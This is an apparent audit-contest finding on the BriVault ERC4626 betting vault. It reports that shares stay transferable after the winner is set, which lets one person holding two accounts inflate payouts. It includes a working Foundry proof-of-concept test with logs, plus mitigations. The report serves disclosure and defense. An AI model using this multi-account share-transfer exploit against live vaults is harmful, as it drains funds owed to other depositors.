BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Unrestricted Share Transfers Enable Post-Event Payout Manipulation via Multi-Account Inflation

Root + Impact

Description

  • In the vault, users deposit ERC20 assets to mint ERC4626 shares, then join an event to bet on a team, snapshotting their share balance into userSharesToCountry[msg.sender][countryId] for aggregating totalWinnerShares. Withdrawals calculate payouts using the live balanceOf(msg.sender), which can be altered post-snapshot.

  • The core vulnerability stems from shares being fully transferable ERC20 tokens with no restrictions, even post-event when the winner is set. An attacker controlling multiple accounts can deposit on a non-joined account, join on another, and then transfer shares post-event to inflate the joined account's live balance before withdrawing. This exploits the ability to move shares dynamically, mismatching the live balance against the fixed totalWinnerShares, allowing over-claims. Transfers enable this stealthily after the event, when the outcome is known but before claims, potentially allowing sequenced manipulations across accounts.

    // Standard ERC20 transfer/transferFrom (unrestricted, post-event callable)
    // Enables inflation from non-joined to joined accounts
    // lines 260-261 (in joinEvent function)
    uint256 participantShares = balanceOf(msg.sender);
    @> userSharesToCountry[msg.sender][countryId] = participantShares;
    // lines 305-308 (in withdraw function)
    @> uint256 shares = balanceOf(msg.sender); // Inflated by incoming transfers
    uint256 vaultAsset = finalizedVaultAsset;
    @> uint256 assetToWithdraw = Math.mulDiv(shares, vaultAsset, totalWinnerShares); // leads to incorrect distribution

  • This transfer-driven manipulation causes miscalculated payouts, with early claims (post-transfer) draining disproportionate assets and leading to insolvency for others.

Risk

Likelihood: High

  • Shares are standard ERC20 tokens and transferable at all times, including after event participation.

  • Users are financially incentivised to transfer shares to increase winning payouts.

  • The vault provides no restriction on transfers and no snapshot enforcement during reward settlement.

Impact: High

  • Winners can inflate withdrawal payouts and take more than intended.

  • Remaining winners fail to withdraw due to ERC20InsufficientBalance, causing a full or partial fund freeze.

Proof of Concept

  • Here's how the exploit takes place:

    1. Setting up the base:

      • There will be 4 users involved in total: user1, user2, user3, and user4.

      • For this attack, we will assume that the account user1 and user2 are both held by the attacker itself. We know, contract doesn't restrict anyone to have more than one account.

      • All the users will be depositing 5 tokens for simplicity.

    2. Pre-Event:

      • At this point, users are allowed to deposit as well as join the event by passing their favoured countryId

      • Both user1 and user2 deposited 5 tokens each. However, the attacker made sure that only user2 joins the event using countryId 10.

      • Both user3 and user4 deposits as well as joins the event using the same countryId 10.

    3. Event Starts

    4. Post-Event & Unexpected Transfer:

      • After the event ended, the owner set the countryId 10 as the winner (let's say), using setWinner() function.

      • That's where the attacker leverages unrestricted transfers: moving some shares (around 4.925 shares in the PoC) from user1 (non-joined) to user2 (joined), inflating balanceOf(user2).

      • The reason we aren't transferring the whole shares amount to user2 is that it will block the attacker's user2 withdrawal as well due to over-inflation. Here, such a value of 4.925 is attained by trial and error.

      • This transfer step is critical, as it allows dynamic inflation after the outcome is known, enabling the attacker to optimise claims.

    5. Withdrawals:

      • Knowing the implications of his intended transfer, the attacker will definitely be the first one to call the withdraw using user2. Thus, grabbing a large share of the prize.

      • If math turned out lucky for user3, he might be able to get his fair share of the prize tho. Otherwise, he will be facing the same fate as of user4.

      • Well, some of the last withdrawers like user4 won't be able to get anything, since their share is eaten by the attacker in advance.

  • Add this test_SnapshotMismatch_ExploitsPayout to the briVault.t.sol, but there are some interesting things to note here:

    1. This test can itself be turned into several variants by just commenting out some lines and adding them back.

    2. The default variant is Exploit Variant, which will demonstrate the exact explanation of the attack written above.

    3. The other variant is Lucky Variant (as the attacker spared them), just a representation of what might happen in normal scenarios.

  • Exploit Variant:

    function test_SnapshotMismatch_ExploitsPayout() public {
    // 1) Setup
    vm.prank(owner);
    briVault.setCountry(countries);
    // Honest participant setup
    address[] memory honestUsers = new address[](3);
    honestUsers[0] = user2; // Not so honest tho
    honestUsers[1] = user3;
    honestUsers[2] = user4;
    // 2) User1 deposits amount (optionally calls joinEvent)
    vm.startPrank(user1);
    mockToken.approve(address(briVault), type(uint256).max);
    briVault.deposit(5 ether, user1);
    // briVault.joinEvent(10);
    vm.stopPrank();
    // 3) Honest users deposit and join BEFORE event
    for (uint256 i = 0; i < honestUsers.length; i++) {
    vm.startPrank(honestUsers[i]);
    mockToken.approve(address(briVault), type(uint256).max);
    briVault.deposit(5 ether, honestUsers[i]);
    briVault.joinEvent(10);
    vm.stopPrank();
    }
    console.log("Total Participant Shares in the vault: ", briVault.totalParticipantShares());
    console.log("Total assets balance of vault:", mockToken.balanceOf(address(briVault)));
    // 4) Move to AFTER event start
    vm.warp(eventStartDate + 1);
    // 5) Owner sets winner
    vm.warp(eventEndDate + 1);
    vm.prank(owner);
    briVault.setWinner(10);
    // *** Exploit: user1 transfers shares to user2 AFTER snapshot ***
    vm.prank(user1);
    briVault.transfer(user2, 4.925 ether);
    // 6) Record balances BEFORE withdrawal
    // uint256 beforeUser1 = mockToken.balanceOf(user1);
    uint256 beforeUser2 = mockToken.balanceOf(user2);
    uint256 beforeUser3 = mockToken.balanceOf(user3);
    uint256 beforeUser4 = mockToken.balanceOf(user4);
    // 7) Withdraw winnings
    // vm.prank(user1);
    // briVault.withdraw();
    vm.prank(user2);
    briVault.withdraw();
    vm.prank(user3);
    briVault.withdraw();
    vm.prank(user4);
    vm.expectRevert(); // Expecting a revert on next line
    briVault.withdraw();
    // 8) Capture gains
    // uint256 gainUser1 = mockToken.balanceOf(user1) - beforeUser1;
    uint256 gainUser2 = mockToken.balanceOf(user2) - beforeUser2;
    uint256 gainUser3 = mockToken.balanceOf(user3) - beforeUser3;
    uint256 gainUser4 = mockToken.balanceOf(user4) - beforeUser4;
    // console.log("User1 gain:", gainUser1);
    console.log("User2 gain:", gainUser2);
    console.log("User3 gain:", gainUser3);
    console.log("User4 gain:", gainUser4);
    console.log("Leftover Assets in the vault:", mockToken.balanceOf(address(briVault)));
    }

  • Lucky Variant:

    function test_SnapshotMismatch_ExploitsPayout() public {
    // 1) Setup
    vm.prank(owner);
    briVault.setCountry(countries);
    // Honest participant setup
    address[] memory honestUsers = new address[](3);
    honestUsers[0] = user2; // Not so honest tho
    honestUsers[1] = user3;
    honestUsers[2] = user4;
    // 2) User1 deposits amount (optionally calls joinEvent)
    vm.startPrank(user1);
    mockToken.approve(address(briVault), type(uint256).max);
    briVault.deposit(5 ether, user1);
    briVault.joinEvent(10);
    vm.stopPrank();
    // 3) Honest users deposit and join BEFORE event
    for (uint256 i = 0; i < honestUsers.length; i++) {
    vm.startPrank(honestUsers[i]);
    mockToken.approve(address(briVault), type(uint256).max);
    briVault.deposit(5 ether, honestUsers[i]);
    briVault.joinEvent(10);
    vm.stopPrank();
    }
    console.log("Total Participant Shares in the vault: ", briVault.totalParticipantShares());
    console.log("Total assets balance of vault:", mockToken.balanceOf(address(briVault)));
    // 4) Move to AFTER event start
    vm.warp(eventStartDate + 1);
    // 5) Owner sets winner
    vm.warp(eventEndDate + 1);
    vm.prank(owner);
    briVault.setWinner(10);
    // *** Exploit: user1 transfers shares to user2 AFTER snapshot ***
    // vm.prank(user1);
    // briVault.transfer(user2, 4.925 ether);
    // 6) Record balances BEFORE withdrawal
    uint256 beforeUser1 = mockToken.balanceOf(user1);
    uint256 beforeUser2 = mockToken.balanceOf(user2);
    uint256 beforeUser3 = mockToken.balanceOf(user3);
    uint256 beforeUser4 = mockToken.balanceOf(user4);
    // 7) Withdraw winnings
    vm.prank(user1);
    briVault.withdraw();
    vm.prank(user2);
    briVault.withdraw();
    vm.prank(user3);
    briVault.withdraw();
    vm.prank(user4);
    // vm.expectRevert(); // Expecting a revert on next line
    briVault.withdraw();
    // 8) Capture gains
    uint256 gainUser1 = mockToken.balanceOf(user1) - beforeUser1;
    uint256 gainUser2 = mockToken.balanceOf(user2) - beforeUser2;
    uint256 gainUser3 = mockToken.balanceOf(user3) - beforeUser3;
    uint256 gainUser4 = mockToken.balanceOf(user4) - beforeUser4;
    console.log("User1 gain:", gainUser1);
    console.log("User2 gain:", gainUser2);
    console.log("User3 gain:", gainUser3);
    console.log("User4 gain:", gainUser4);
    console.log("Leftover Assets in the vault:", mockToken.balanceOf(address(briVault)));
    }

  • Use the following command to run the test:

    forge test --mt test_SnapshotMismatch_ExploitsPayout -vv

  • Logs:

    • Exploit Variant: We can see how User2 was able to get a larger amount, but most importantly, User4 gained nothing, since his withdraw call was simply reverted.

      Ran 1 test for test/briVault.t.sol:BriVaultTest
      [PASS] test_SnapshotMismatch_ExploitsPayout() (gas: 2183403)
      Logs:
      Total Participant Shares in the vault: 14775000000000000000
      Total assets balance of vault: 19700000000000000000
      User2 gain: 13133333333333333333
      User3 gain: 6566666666666666666
      User4 gain: 0
      Leftover Assets in the vault: 1
      Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.67ms (1.22ms CPU time)

    • Lucky Variant: User1 and User2 collectively gained 9850000000000000000 , which is literally less than what an attacker might gain. Additionally, User4 gains his fair prize share too.

      Ran 1 test for test/briVault.t.sol:BriVaultTest
      [PASS] test_SnapshotMismatch_ExploitsPayout() (gas: 2251777)
      Logs:
      Total Participant Shares in the vault: 19700000000000000000
      Total assets balance of vault: 19700000000000000000
      User1 gain: 4925000000000000000
      User2 gain: 4925000000000000000
      User3 gain: 4925000000000000000
      User4 gain: 4925000000000000000
      Leftover Assets in the vault: 0
      Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.99ms (1.34ms CPU time)

Recommended Mitigation

Option A — Restrict Transfers Post-Event

Add a modifier or hook to disable transfers after setWinner (e.g., override transfer/transferFrom to revert if _setWinner == true).

Option B — Make Shares Non-Transferable

- contract BriVault is ERC4626
+ contract BriVault is ERC4626NonTransferable // Custom with disabled transfer functions
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Inflation attack

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!